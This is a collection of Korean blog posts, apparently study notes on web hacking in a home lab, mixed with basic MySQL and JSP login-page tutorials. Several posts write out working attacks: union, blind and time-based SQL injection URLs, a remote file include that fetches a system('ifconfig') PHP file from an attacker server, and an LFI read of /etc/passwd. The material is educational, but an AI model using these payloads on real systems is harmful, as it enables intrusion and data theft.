DB의 정보를 확인하기 위해
지난 글에서 SQL Injection을 했다. 바로 Guessing(추측) 공격으로 말이다.

하지만 DB에 관한 지식? 정보를 알면 조금 더 정확하게(?) 정보를 꺼낼 수 있다.

우리가 지금 사용하는 MySQL에 관한 지식을 이해해보면서
이러한 가능성을 이해해보자 :)

MySQL에는 기본 DB가 있다. (우리가 만들지 않아도)
그 중 하나가 information_schema인데 이 DB에는 DB내의 모든 정보가 들어있다.
information_schema는 MySQL5 이상에서만 존재한다.
이 DB는 논리적인 DB로 수정이나 삭제가 불가능하다.

이 information_schema DB를 살펴보자!



(information_schema DB)



이 DB에 들어있는 테이블들을 확인해보면
DB 정보가 들어있는 테이블들을 확인 할 수 있다.
여기서 우리는 테이블 정보가 들어있는 tables 라는 테이블을 확인해보겠다.



(TABLES 테이블)



테이블 내용 중 몇가지만 명령문에 넣어 select 명령문을 사용해보겠다.



(TABLES 내용 확인)



그렇다면
다른 DB에서도 information_schema DB에 들어있는 정보를 SELECT해서 확인 할 수 있는지 확인해보겠다.



(다른 DB에서 SELECT)



에러가 난다.!
그런데 에러 내용을 보니 blind.columns 이 없다고 나온다. 즉 경로를 입력해줘야 한다는 뜻이다.


select 1, column_name, table_name from information_schema.columns;
이런식으로 명령을 내리면 다른 DB에서도 해당 DB의 테이블 정보를 확인 할 수 있다.
그렇다면 union명령으로 SQL Injection 해보겠다.
information_schema 정보를 가져올 수 있다면 다른 DB에 대한 정보를 이용해 여러가지 정보를 가져올 수 있기 때문에 중요한 것이다.



(SQL Injection)



명령
http://100.100.100.129/view.php?no=1 union select 1, column_name, table_name from information_schema.columns;



(실행 결과)



실행 결과를 보니 information_schema DB의 columns 테이블의 정보들 중 우리가 선택한 column_name, table_name 정보가 나오는 것을 확인 할 수 있다. 첫번째 컬럼은 화면에 출력 되지 않으므로 그냥 1로 한 것이다.
우리가 이 페이지를 만들 때 일부러 취약하게 만들기 위해 while문을 사용했었는데
난이도를 올려 while을 제거해보겠다.


(while 제거)



제거하면 기존의 페이지 모습과 같다.



(제거한 모습)





(거짓 Injection)





(참 Injection)



다만,
아까와 같이 SQL Injection 시 정보가 주르륵 전부 나오지 않고 하나만 나오기 때문에 그리고 제일 먼저 담겨오는 원래정보만 나오기 때문에 난이도가 올라간다.
즉 여기서 우리는 새로운 명령 문법을 배워야한다.
바로 limit 명령이다.
limit을 이용하면 select의 개수를 정할 수 있다.
* limit 을 이용하면 출력의 개수를 정해줄 수 있다.

또 출력을 시작할 행의 번호 또한 지정할 수 있다.
MySQL에서는 0번부터 시작한다.
mysql> select * from [Table] limit 시작, 갯수;



(사용 예시)



위 사용은 10번째 행부터 10개 까지만 가져오도록 하는 명령을 사용한 것이다.

이것을 이용하면 아까 우리 페이지는 한개의 행만 가져올 수 있으므로 개수는 1개로 지정하되
시작하는 행의 번호는 자유이므로 아래와 같이 명령을 하게되면 정보를 확인 할 수 있게 된다.



(테이블 정보 확인)



이를 이용해
http://100.100.100.129/view.php?no=1 union select 1,2,table_name from information_schema.tables limit 1,1
이렇게 url로 SQL Injection을 하면 아래와 같이 나온다.



(실행 결과)




(실행 결과2)



여기서 난이도를 더 올려보겠다.
만약 화면에 DB 정보가 안나온다면??..



(DB정보 출력 제거)



난이도를 올린 페이지 모습



(업그레이드 페이지 모습)




(참 Injection)





(거짓 Injection)



참과 거짓을 이용했을 때 화면에 문구가 나오느냐 안나오느냐 확인 할 수 있으므로
SQL Injection에 취약한 지는 체크할 수 있다.

하지만 DB정보가 출력되는 곳이 없는데 어떻게 정보를 확인할 수 있단 말인가...

이를 이해하기 위해 우리는 또다른 mysql 명령 문법을 알고 가는 것이 좋다.
substr 이라는 문법이다.
이 문법은 php에서도 사용된다.

바로 문자열을 분할하는 함수이다.
이 함수를 이용하면 아래와 같이 한글자를 확인 할 수 있다.



(substr 이용 확인)



위 화면은 information_schema DB에 있는 tables 라는 테이블에 테이블 이름 컬럼의 정보 중 첫번째 행의 데이터의 첫번째 글자를 확인한 것이다.

이를 우리는 웹에서 DB정보가 출력되는 것이 없기 때문에 참과 거짓을 이용하여 찾을 것이다.
그러기 위해 참과 거짓이 되게 비교를 해야하는데 물론 문자도 비교가 되지만 정확하게 하기 위하여
아스키코드를 비교하는 것이 좋다.



(아스키 코드 비교 화면)



이를 이용하여 아래와 같이 비교문장을 and 뒤에 추가하면 만약 참이되면
화면에 글자가 나올것이고(Welcome 어쩌구)
만약 거짓이면 and이기 때문에 화면에 아무 글자도 출력되지 않을 것이다.
바로 이것을 이용하여 찾는 것이다.



(SQL Injection)





(거짓 화면)



그렇다면 66이 아니니 67을 너보는 것이다.



(참 화면)



67일 때 글자가 나온것을 봐서
67이구나 즉 C라는 글자구나라고 생각할 수 있다.
이런 식으로
ascii(substr( (select table_name from information_schema.tables limit 1,1), 2,1)) = 66;
ascii(substr( (select table_name from information_schema.tables limit 1,1), 3,1)) = 66;
...
이렇게 한글자씩 찾는 것이다.

비교문이므로 크다, 작다 부등호로도 판별이 가능하다.



(부등호 사용)



이제 난이도를 더 올려보겠다.
화면에는 이제 Welcome이라는 글자 조차.. 아무 화면도 안뜬다...
이런 상황에서도 가능할까??



(출력 정보 없다.)





(페이지 모습)





(참 Injection)





(거짓 Injection)




참도,, 거짓도... 알아볼 수 없는 화면이다...
이럴 때는 일부러 특이 현상을 일으키는 것도 방법이다.
예를 들어 sleep명령이 있다.
and 뒤에 비교문(아까와 같이) 또 그 뒤에 sleep을 걸어주면
비교가 참일 경우 sleep이 발생되고
거짓일 경우 뒤의 명령을 실행할 필요가 없기 때문에 sleep이 나타나지 않는다.
즉 이걸 이용하면 아까와 같은 방법으로 한글자씩 알아낼 수 있다.




(참 Injection)




참일 경우 위와 같이 sleep이 발동되어 화면이 돌아가고 있는 모습을 볼 수 있다.

이렇듯 화면에 출력되는 정보가 없어도
확인이 힘들더라도
SQL Injection은 가능할 수 가 있다.
:)




저번 글에서 테이블 생성까지 CREATE 명령을 사용해보았다.

만들어진 테이블을 이용하여
DML 언어
- INSERT(추가/입력/삽입), SELECT(확인), UPDATE(수정), DELETE(삭제)를 공부해보겠다 :)

* INSERT
 mysql> insert into [테이블이름] values( colum1 value, colum2 value, ...);
 

숫자와 문자는 쿼터로 구분한다. '' 혹은 ""이 있으면 문자이다.



(insert 사용)



또다른 방법
 mysql> insert into [테이블이름]( colum_name, colum_name, ...) values( colum1 value, colum2 value, ...);
이 것은 어느 필드를 채워줄지 앞에서 써주는 것이다.
안써도 되지만 안쓰면 모든 필드를 입력하지 않으면 에러가 나온다.


(insert2 사용)





* SELECT
 - 내용을 화면에 출력하고자 할 때 사용한다.
 - DB내에서 사용하는 출력문이라고 생각하면 된다.

예를 들어 select 'hello'; 를 입력하면
hello 라고 출력이 된다.


(select)



DB에서 검색하여 출력할 때
mysql> select [필드이름] from [테이블이름];
필드 이름을 * 로 적으면 모든 필드가 출력이 된다.


(모든 필드 출력)



필드를 no로 지정해준 경우


(no_select)



select 구문 뒤에 where을 사용하여 조건을 추가시킬 수 도 있다.



(where 조건)





* UPDATE
 mysql> update [테이블이름] set [컬럼]=[값];
 -> 이렇게만 사용하면 전체 컬럼이 다 바뀌어버린다.
 mysql> update [테이블이름] set [컬럼]=[값] where 컬럼=값;



(where 조건(x))




조건이 없는 경우 위와 같이
모든 행의 데이터가 바뀐다.

예를 들어 성별이 M 인 행만 나이를 22 살로 업데이트하면



(update + 조건)



성별이 M인 행만 22로 바뀐 것을 확인 할 수 있다.





* DELETE
 - 행을 삭제하는 것이다.
 - 컬럼을 삭제하지는 못한다.
 - 컬럼을 삭제하는 것은 DDL로 삭제한다.
 - 특정 컬럼만 없애고 싶으면 UPDATE를 이용해야한다.
 - DELETE는 한 행을 삭제한다.

만약 delete를 사용하는데 뒤에 where 조건이 없다면
모든 데이터가 사라진다.



(조건(x) delete)



where 뒤에 조건을 주어 특정 행을 삭제 할 수 있다.

예를 들어 no가 3인 행을 삭제해 보겠다.



(행 삭제)



여기 까지 기초적인 SQL 공부였다. :)



저번 글 에서 PHP파일 업로드 취약점을 확인해보았다.
정리하면
1. 타겟 서버에 PHP 파일을 업로드 할 수 있고
2. 그 파일을 직접 접근이 가능하다.
이러한 조건이면 PHP 파일 업로드 취약점이라고 할 수 있다.

그렇기 때문에 요즘은 경로를 모르게 경로를 해쉬값으로 바꾸어 url에 집어 넣곤한다.
=> 그 파일에 대한 직접 접근을 제한하는 방법을 사용한 것이다.

오늘은 파일 업로드의 또 다른 유형을 알아보겠다.
만약 파일 업로드가 불가능 하다면?
그럴때 사용할 수 있는 것이 RFI  (Remote File Include 취약점) 이다.

현재는 취약점을 패치했지만 파일업로드 공격에 여러가지 유형으로 우회할 수 있다는
가능성을 이해하고자 한다.
이 공격 또한 파일 업로드 우회공격 중 하나이다.

* 리모트 파일 인클루드 취약점
-> PHP 파일 내에서 다른 PHP 파일의 소스코드를 포함시켜서 사용할 수 있는 기능을 이용한 것이다.

 -> 복사해서 그 자리다 붙여서 실행하는 효과이다.
공격에 사용할 수 있는 점은 바로..! 
-> 원격에 있는 php파일도 include 가능하다는 점이다..!!

즉 우리는 공격을 하기 위해 우리가 공격을 위한 서버를 하나 만들어서
거기다가 우리가 원하는 악성 PHP 파일을 업로드 한 후
Include를 이용하여 만들어놓은 서버의 파일을 불러서 실행시키면 되는 것이다.
 
그렇다면 먼저 취약점 코드를 확인해 보겠다.
1. 리모트 파일 인쿨루드 취약점이 있는 코드 확인

 /var/www/html/zboard/skin/zero_vote/error.php
 - 첫 번째 라인 코드
 <? include "$dir/value.php3"; ?>
 => 경로에 변수가 사용되고 있다.
 -> 이 변수를 조작하면 경로도 조작할 수 있다는 뜻이다.

바로 여기 $dir 변수를 GET방식으로 우리가 원하는 url 값을 넣어 전달해 줄 수 있다.
이유는 처음 우리가 제로보드 설치할 때 레지스터글로벌 설정을 On해두었기 때문이다.

 http://192.168.3.11/value.php3
 => url을 통해 인클루드 또한 가능하다.

악성 php파일 이름은 value.php3가 되면 된다. 코드를 보면 /value.php3이기 때문이다.
경로 : document root에다가.  (웹 홈 디렉터리로 경로를 전달할 거기 때문이다.)

코드 내용은
<?
 system('ifconfig');
?>
이렇다.

공격을 위한 서버에 위와 같은 파일을 올려둔다.
dir변수에 http://192.168.3.203  을 입력해서 던져주면
/var/www/html의 디렉터리에서 value.php3 파일을 Include 하게 된다.

=> 조금더 공격을 확실하게 하려면 공격 서버에는 PHP 모듈은 내려두는게 좋다.
이유는 include를 할 때 공격 서버에서 php가 실행되고 그 결과가 전달 될 때가 있기
때문이다.

취약점 발생 원인
=> dir 이라는 변수에 입력 검증이 없어서이다.

* 그래서 사실 원격 include를 꺼둔다 요즘은.

RFI 취약점 공격 조건
 - include, require, 등등
 - 입력값 검증의 부재
 - 객체에 대한 직접 접근

그렇다면 RFI 공격을 확인해보겠다.

먼저 취약점 코드를 확인해보겠다.!
취약점 코드는 /var/www/html/zboard/skin/zero_vote/error.php 에서 발견되었다.



(error.php 파일)



파일을 확인해보면
첫 번째 라인에서 확인해 볼 수 있다.



(취약점)


그렇다면 이 취약점이 존재하는 파일을 직접 접근이 가능할까?
바로 이게 공격이 가능할 두 번째 조건이기 때문에 확인이 필요하다.



(직접 접근)



직접 접근이 가능하다.!

공격을 시작해보겠다.

이 취약점을 이용해 공격 서버에
<?
system('ifconfig');
?>
코드를 올렸다. 파일이름은 value.php3로 웹 홈 디렉터리에다가..

그렇게 되면 만약 서버에서 이 코드가 실행되면
서버의 IP 주소가 보일 것이다.



(공격 화면)



dir 경로에 http://192.168.3.203  이라는 공격 서버의 IP주소를 던져주었다.
그러니
서버의 IP주소가 나온 것을 확인 할 수 있다.
바로 이 말은 서버에서 ifconfig가 실행 됬다는 것이다.

RFI 과 반대(?)로
LFI가 있다.

바로  로컬 파일 인클루드 취약점 (LFI)이다.
=> 원격 파일 인클루드가 꺼져있는 상황에서도 가능할 수는 있다.
LFI 취약점이 존재하는 파일을 일부러 만들어보겠다.
/var/www/html/vul.php   를 만든다. 코드는 아래와 같다.
<?
 include "auth/$file";
?>


(취약점 존재 파일 생성)




(코드)



위 코드를 보면 auth폴더에 파일이름은 $file 변수를 통해 입력 받는 것임을 확인 할 수 있다.

예를 들어 file변수에 login.php 값을 던져주면
auth/login.php 파일이 실행되는 것이다.



(동작 원리)



하지만 이를 통해 민감한 정보에 접근한다면??
바로..
file 변수 값에 ../../../../etc/passwd
를 입력하면..!



(공격 화면)



이렇게 서버의 정보들을 확인 할 수 있다.
웹쉘이랑 비슷한 개념이다.

그렇기에 LFI 취약점도 굉장히 위험한 취약점 중 하나이다.

이제 SQL을 이용한 취약점을 알아보겠다 :)

먼저 SQL을 이해해야한다.

SQL => Structured Query Langauage 
    - DB 표준언어이다.
    - DBMS마다 문법의 차이는 있다.
    - DBMS = 관계형 DB(MySQL, MariaDB, MsSQL, Oracle, DB2)
                                     (noSQL, ...)

* MySQL 쿼리 문 : 크게 6개 정도 있다. (그 외에도 더 많다.)

1) DDL : Data Definition Langauage
 - 데이터 정의어이다.
 - 실제 데이터를 조작하지는 못하는 쿼리이다.
 - DB, 테이블 생성 및 삭제를 한다.
 - ex) CREATE, DROP

2) DML : Data Manipulation Language
 - 데이터 조작어이다.
 - 실제 데이터를 변경/추가/삭제/확인 등이 가능한 쿼리이다.
 - ex) SELECT, INSERT, DELETE, UPDATE

3) DCL : Data Control Langauage
 - 데이터 제어어이다.
 - 권한, 트랜잭션, 등등의 역할을 한다.

* 주소록 DB를 만들어 볼 것이다. (SQL 이해)

1. DB 접속
#> mysql -u root -p
를 입력하고 비밀번호를 입력하여 접속을 한다.



(MySQL 접속)



2. 데이터베이스 확인 SHOW DATABASES;
데이터 베이스를 확인하기 위해서는
mysql> show databases;
를 입력하면 된다.



(데이터 베이스 목록)



3. DB 생성 : CREATE DATABASE
mysql> create database 디비이름;
mysql> create database address_list;



(DB 생성)



show databases 로 확인해 보겠다.



(생성 확인)



확인해보면 address_list가 생성된 것을 확인 할 수 있다.

4. DB 삭제 : DROP DATABASE
mysql> drop database 디비이름;
mysql> drop database address_list;

삭제하는 것이다.
전에 만들었던 test DB를 삭제해보겠다.



(DB 삭제)



삭제 된 것을 확인 할 수 있다.

5. 테이블 생성
mysql> create table 테이블이름( 컬럼 정보, ...);
으로 만들어줄 것이다.

만들어줄 열은
no(int), name( char(10) ), phone( char(20) ), age(int), gender( char(1) ), addr ( text )
이다.
괄호 안은 데이터 타입이다.

* 데이터 타입
숫자 : int, float, double
문자 : CHAR, VARCHAR, TEXT(입력된 데이터만큼 용량이 잡힌다. 가변 타입)
바이너리 :blob, longblob
시간, 날짜

먼저
mysql> use address_list;
를 입력하여 우리가 만든 DB로 들어간다.


(DB 접속)



그 후 아까 우리가 설계한 테이블 정보를 입력한다.
mysql> create table students( no int, name char(10), phone char(20), age int, gender char(1), addr text);



(테이블 생성)



테이블 확인은
mysql> show tables;
으로 테이블 목록을 볼 수 있고
mysql> desc [테이블이름];
으로 테이블 정보를 볼 수 있다.



(테이블 확인)


+ 테이블 삭제 DROP TABLE
mysql> drop table [테이블이름];






Web Hacking - 실습환경 웹서버 구축(제로보드)(1) 에 이어서 웹서버를 설정할 것이다.

install.php 경로로 들어오면 아래와 같은 화면이 나온다.




(707 퍼미션 요구 화면)



빨간 글씨로 707 퍼미션이 되어있지 않다고 나와있다.

zboard 디렉터리의 권한 설정을 해준다.
#> chmod 707 zboard



(권한 설정 화면)




위와 같이 설정이 잘되면
아래와 같이 빨간 글씨가 사라지고 설치 시작 버튼이 나온다.



(설치 시작 화면)



클릭을 해주면
아래와 같이 입력하는 란이 나오는데
여기서 아직 우리가 DB를 만들지 않았다.



(입력 화면)



zboard DB를 만들어보자!

먼저 mysql에 접속해준다.



(mysql 접속)



접속 후 show databases; 명령어를 이용하면
현재 있는 DB가 보인다.



(현재 DB)



여기서
create 명령어를 사용하여 zboard라는 DB를 만들어준다.



(DB 생성)



다시
show databases;
명령어를 이용하여 현재 DB를 확인해보면
zboard가 생성된 것을 확인 할 수 있다.



(생성된 DB)



자 생성해주고!
입력을 해주고
설정완료를 눌루면 다음과 같이 에러가 나온다.



(에러 화면)



위 에러는 우리가 지금 옛날 버젼의 zboard를 쓰기 때문에
쿼리 명령문중 바뀐 내용이 있기 때문이다.

우리는 그 명령문을 수정해 줄 것이다.

수정해줄 파일은
zboard 디렉터리 안에있는 schema.sql 파일이다.



(vi 편집기로 schema.sql 열기)




vi 편집기로 schema.sql 을 열어준다.

그리고 수정해주어야 할 것!

1. password varchar(20) -> password varchar(50)
옛날에는 20사이즈면 충분했지만 더 길어진 해쉬값으로 50까지는 늘려주어야한다.



(password 사이즈 수정)



파일 안에 있는 varchar 사이즈를 50으로 바꾸어준다 전부! (password만)

2. primary key는 default 값이 될 수 없다. 하지만 옛날 버젼에서는 가능했는지 다음과 같은 명령 구문이 들어있는데 이 둘이 충돌이 되기 때문에 삭제해주어야한다.
primary key는 사용할 것이기 때문에 default '0' 만 삭제해 준다.




(default '0' 삭제)




(삭제된 모습)



이렇게 primary key와 충돌하는 default 값을 전부 지워준다.

그렇게 되면 아래와 같이
에러없이 넘어갈 수 있다.

그러면 다음 칸에 아이디, 패스워드를 입력하고 [정보입력완료]를 누르면 된다.




(관리자 정보 입력)



그 후 관리자 계정과 비밀번호로 접속해 준다.


(관리자 계정 접속)



그러면 아래와 같이 관리자 페이지가 나온다.




(관리자 페이지)



여기까지가 제로보드 서버 구축 및 설정이다. :)



저번까지 만들었던
로그인 및 회원가입 페이지를 이용할 것이다.

회원가입 후 로그인을 하여
사용자들이 여러가지 기능을 사용할 수 있게 할것이다.

1. 스케쥴 관리
2. 출석게시판
3. 자유게시판
4. 포인트 순위
5. Shop

이런 기능의 메뉴들을 만들 것이다.
그 기능의 일환으로 스케쥴 관리를 오늘 대략적으로 짜보겠다.

그에 앞서 홈페이지의 메인 페이지를 구성해봐야한다.

다양한 기능들의 페이지가 필요하므로
폴더를 만들어서 관리를 할 것이다.!



(폴더 생성)




그 후 main 페이지 코드이다.



(메인 페이지 코드)



여기서 div 등 을 이용해
간단하게 보기좋게 디자인하였다.
(더 자세하고 정교하게 디자인은 나중으로...!)

코드에는 각 내용의 버튼들이 있고
그 버튼이 눌렸을때 각 해당 main 페이지로 이동하도록 코드를 구성했다.

실행 화면이다.



(메인 페이지)




여기서 나의 정보의 개인정보 수정을 클릭하면



(개인정보페이지)



아직 내용은 없지만 무슨 페이지인지만 헤더에 적어 놓았다.
마찬가지로


(출석 게시판 페이지)




출첵 게시판 등등
다른 페이지도 헤더에 어떤 페이지인지만 써놓고
페이지 파일을 만들어 두었다.
이제 우리는 이 내용들을 채워갈 것이다.

먼저 스케쥴 관리 게시판!
이름은 거창하지만

To do LIst 게시판이라고 생각하면 된다.
해야할 것들을 적어 두는 게시판으로 활용할 것이다.

우선 테이블을 만들어준다.!



(테이블 생성)



todo의 테이블을 만들어 주었다.



(테이블 모습)



여기서 id 값으로 사용자들을 구별하여
해당 id의 내용들만 뽑아서 보여줄 것이다.

스케쥴관리의 메인 페이지부터 작성해볼것이다!


(스케쥴관리 메인)



제일 먼저 해당 아이디로부터 개인 정보를 받아와서 출력해줄 것이다.
그래서 포인트가 몇점인지
그리고 ID가 무엇인지 받아와야 그 ID로 해당 todo 테이블에서 데이터를 꺼내올 수 있기 때문이다.

그 후
select * from todo where id =?
명령문 ?에 입력받은 id를 넣어주어 해당 ID의 데이터만 뽑아 올 것이다.



(select * from todo where id =?)



그 후 받아온 내용을 페이지에 뿌려준다.
단,
아무 내용이 없을 경우
해야할 일이 없다고 출력해준다.



(화면에 뿌려주기)



그리고 아직은 기능은 없지만
해야할 일을 추가하거나
해야할 일을 삭제하거나
해야할 일을 수정하는 기능이 있는
버튼이 필요하다.



(버튼 생성)



버튼 3개를 만들어주었다.

여기까지 스케쥴관리 메인 페이지를 확인해 보겠다.

먼저 메인페이지에서 스케쥴관리를 클릭한다.



(스케쥴 관리 클릭)





(스케쥴 관리 페이지)




페이지에는 입력받은 이름으로부터 "이름"님의 해야할 일이 출력되고
해당 id의 포인트 그리고 아직은 데이터가 없으므로
해야할 일이 없다고 출력되는 것을 확인 할 수 있다.






로그인 및 회원가입 페이지 만들던 것에서

추가해주어야할 아주 중요한 것이 있다.
바로
아이디 중복 체크이다.

같은 아이디가 여러개라면
로그인할 때도 엉망이 될게 분명하고
DB도 난리 날 것이다.

오늘은 회원가입할 때
아이디가 중복되는지 체크해주는 기능을 넣을 것이다.

먼저, 폼체크를 할 것이다.
회원가입 페이지에서
빈 칸으로 회원가입을 하려고 하면
빈칸을 채우라고 알려주는 것이다.

로그인할때의 폼체크와 같이 해줄 것이다.
우리가 전에 만들었던 js 파일에서 joinCheck 메서드를 만들어서 체크해줄 것이다.
그러기위해 전에 만들었던 js파일을 연결해준다.


(폼 체크)




(추가한 폼체크 파일)



여기까지 폼체크가 끝났다.
이제
아이디 중복 체크를 해줄 것이다.
전에
로그인할때 비밀번호 체크하기 위해 만들었던 loginCheck.java 파일에
이번에 중복확인 작업을 해주는 메서드를 추가할 것이다.



(아이디 중복 체크 메서드)




명령어
select id from member 를 이용하여 MySQL에서 id들을 쭉 불러온다.
그리고 전체를 돌면서 일치하는 값이 있으면 true를
일치하는 값이 없으면 false를 반환하는 메서드를 만들었다.

이제 이 메서드를 이용하여 중복체크하는 joinOK.jsp 페이지를 만들어서
만약
중복된다면
아이디가 중복되었다고 알려주고 다시 회원가입 페이지로 돌아가고
그렇지 않으면
DB에 넘어온 정보들을 입력하는 페이지를 만든다.




(중복 체크 페이지)



자 여기까지 끝이다!
이제 중복되는 kim의 아이디로 회원가입을 해보겠다.



(중복되는 아이디 실험)





(아이디가 중복된다고 뜬다.)






(회원가입 페이지)



그 후 다시 회원가입 페이지로 넘어오는 기능까지 넣었다.



어제까지 JSP와 DB를 연동하여 회원가입까지 마무리하였다.
로그인기능까지 추가했는데

오늘은 로그인 인증이 되면 세션을 열어줄 것이다.
그래서 로그아웃하거나 브라우저가 닫히기 전까지는 로그인을 유지할 수 있도록 하겠다.

이렇게 되면 코드가 길어지게 되는데
먼저 로그인 인증을 하는 메소드를 따로 자바 파일을 만들어서 구현할 것이다.



(로그인 인증 메소드)



비밀번호와 비교해서 일치하면 true 그렇지 않으면 false를 리턴하는 메소드를 짜보았다.

그 후 main 페이지에서 적용시켰다.
간단하게 인증 성공과 실패를 구분지어보았다.



(인증기능 추가)



그리고 추가적으로
아이디와 비밀번호를 입력하지 않고 로그인을 눌렀을 때 입력해달라고
폼체크를 하는 것을 추가했다.
그렇지 않으면 위에서 체크할 때 아이디와 비밀번호가 null인지도 또 추가해야하기 때문이다.
그리고 그것에 대한 알림을 주고 싶었다.

자바 스크립트 연결



(자바 스크립트 연결)




onsubmit -> submit버튼이 눌리게 되면 실행된다.



(폼체크 추가)






폼체크 자바스크립트 파일 작성


(아이디와 비밀번호가 입력되었는지 체크)




그리고 로그인 되었으면 로그인이 되었는지 확인할 수 있도록
로그인 페이지를 간단하게 만들었다.
로그인이되면 로그인이 되었다는 알림과 함께
이 페이지로 넘어오게 할 것이다.



(로그인된 페이지)



그리고 세션을 추가해주기로 했으므로
로그인이 된다면
session.setAttribute를 이용해 해당 아이디와 login 세션에 yes로 값을 설정해준다.

그렇게 하여 이 login 세션이 yes이면 아까 만들었던 페이지로 넘어가고
그렇지 않으면 전에 만들었던 페이지에 남게 된다.



(로그인 메인 페이지 코드)




이렇게하고 직접 확인해보겠다.
:)


(메인페이지)






(로그인 성공 알림)






(로그인 된 화면)





아.! 깜빡했던게 있다.
로그인 옆에 우리가 어제 만들었던 회원가입 버튼을 추가해주기로한다.
메인 페이지니까! :)




(회원가입페이지 연결)



확인해보겠다




(회원가입 버튼 생성)




이제 로그인 화면에 이름같은걸 출력해서
로그인이 된 내용들을 볼 수 있게 하고 싶다.

넘어오는 값을 확인하기 위하여 아까 설정했던 세션 아이디를 출력해서
id누구누구 님 안녕하세요를 출력해보기로 한다.




(로그인 인증 후 페이지 코드)






(로그인 화면)



세션ID가 잘 넘어오는 것을 확인할 수 있다.

아! 로그인된 페이지에서 그래도
로그아웃 버튼은 있어야 그럴싸하지 않을까?
로그아웃버튼 생성! (후딱)
button으로 onclick시 logout변수에 yes라는 값을 넣어 넘겨주었다.




(로그아웃 추가 코드)



메인 페이지에서는 logout변수가 null이 아니고 yes라면
remove를 이용해 세션을 삭제해준다.



(세션 삭제)




확인




(로그아웃 버튼 생성)



자 이제 하던걸 해보겠다.
아이디로 DB에서 검색해서 이름하고 나이, 포인트를 받아와서
출력해주겠다.


(회원정보 코드)




확인!



(로그인 페이지)




로그인이 된 후에 페이지에 회원의 이름과 함께
나이, 포인트의 정보가 출력되고 있는 게 보인다.!
맘에 든다.!

자 여기까지가 회원가입 및 로그인 페이지를 다 만들었다.
내일 마지막으로 디자인 살짝! 조금 다루어준 후 마무리 해보겠다. :)

오늘 추가한 내용
세션기능
로그아웃기능
회원정보 출력
+ 어제는 로그인 체크페이지로 이동해서 검사했지만 오늘 수정으로
? 표시를 이용해 그 페이지 내에서 자체로 검사하기로 했다.
괜히 페이지가 많아지는 것을 줄이기 위해서다.!




전에 만들던 로그인 페이지 프로젝트는
메모장을 이용했다.

이번에는 DB를 연동시켜서
회원가입하는 페이지로 DB에 정보를 등록해서 회원가입하고
로그인하는 프로젝트를 해보겠다.

사용할 DB는 MySQL이다.



(MySQL 아이콘)



귀여운 돌고래모양의 아이콘이 MySQL이다.

사용할 데이터베이스를 만들어준다.





(DB 생성)



그 후
사용할 테이블을 만들어주겠다.
인코딩은 utf-8을 사용한다.

idx는 인덱스 번호이며, 아이디, 비밀번호, 이름, 나이, 포인트, 아이피주소, 등록날짜를 저장할 것이다.




(테이블 생성)



만들어진 테이블을 확인해보겠다.
select * from member
sql 명령문으로 확인한다.




(테이블 확인)



테이블이 잘 만들어졌다. :)

이 DB와 접속하기 위해서는
DB와 연결하고 접속할 클래스가 필요하다.





(DBUtil 생성)




(DB 유틸 코드)



코드는 위와 같다.
DB와의 연결 conn을 반환하는 메소드(연결하는 메소드)
그리고 close 메소드들을 정리해주었다.

이제 간단한 회원가입 양식 페이지를 만들겠다.
(디자인은 거의 무시했다. 보기 이상하더라도...!)
(디자인은 나중에 정리해보겠다.)



(회원가입 페이지 코드)




(회원가입 모습)



이제 이 정보를 가지고 DB에 입력할 jsp페이지를 만들어서
DB에 등록해보겠다.



(등록 페이지 코드)



입력 받은 내용을 토대로 insert 명령을 사용해 DB에 등록한다.

확인해보겠다.




(확인)






(확인)



DB에 잘 등록된걸 확인 할 수 있다.
가입 날짜는 자동으로 기록되게 했으므로 따로 기록하거나 DB 명령문에 입력안해도 된다.

이제 이 DB를 가지고 간단하게
로그인해보겠다.

간단한 로그인 메인페이지다.




(메인 페이지 코드)



(메인 페이지 화면)



(현재 등록된 정보)




입력받은 정보들을
loginCheck.jsp 페이지로 넘겨서 확인해보겠다.




(확인 코드)



여기서 시간이 많이 걸렸다...
select 명령문을 이용해 해당 비밀번호를 찾는것 때문에 헤메었는데,
rs.next(); 명령으로 다음 결과 셋트로 넘어가는게 포인트다.

확인해보겠다.




(결과 확인)




(로그인 성공)




(로그인 실패)




(1)에서는
회원정보를 DB에 등록하고
그 정보를 통해서 로그인하는 과정까지 만들었다.

(2)에서는
연결된 로그인으로 로그인세션을 만들어서
로그인 된 상태에서는 다른 회원 페이지를 보여줄 것이다.


+ Recent posts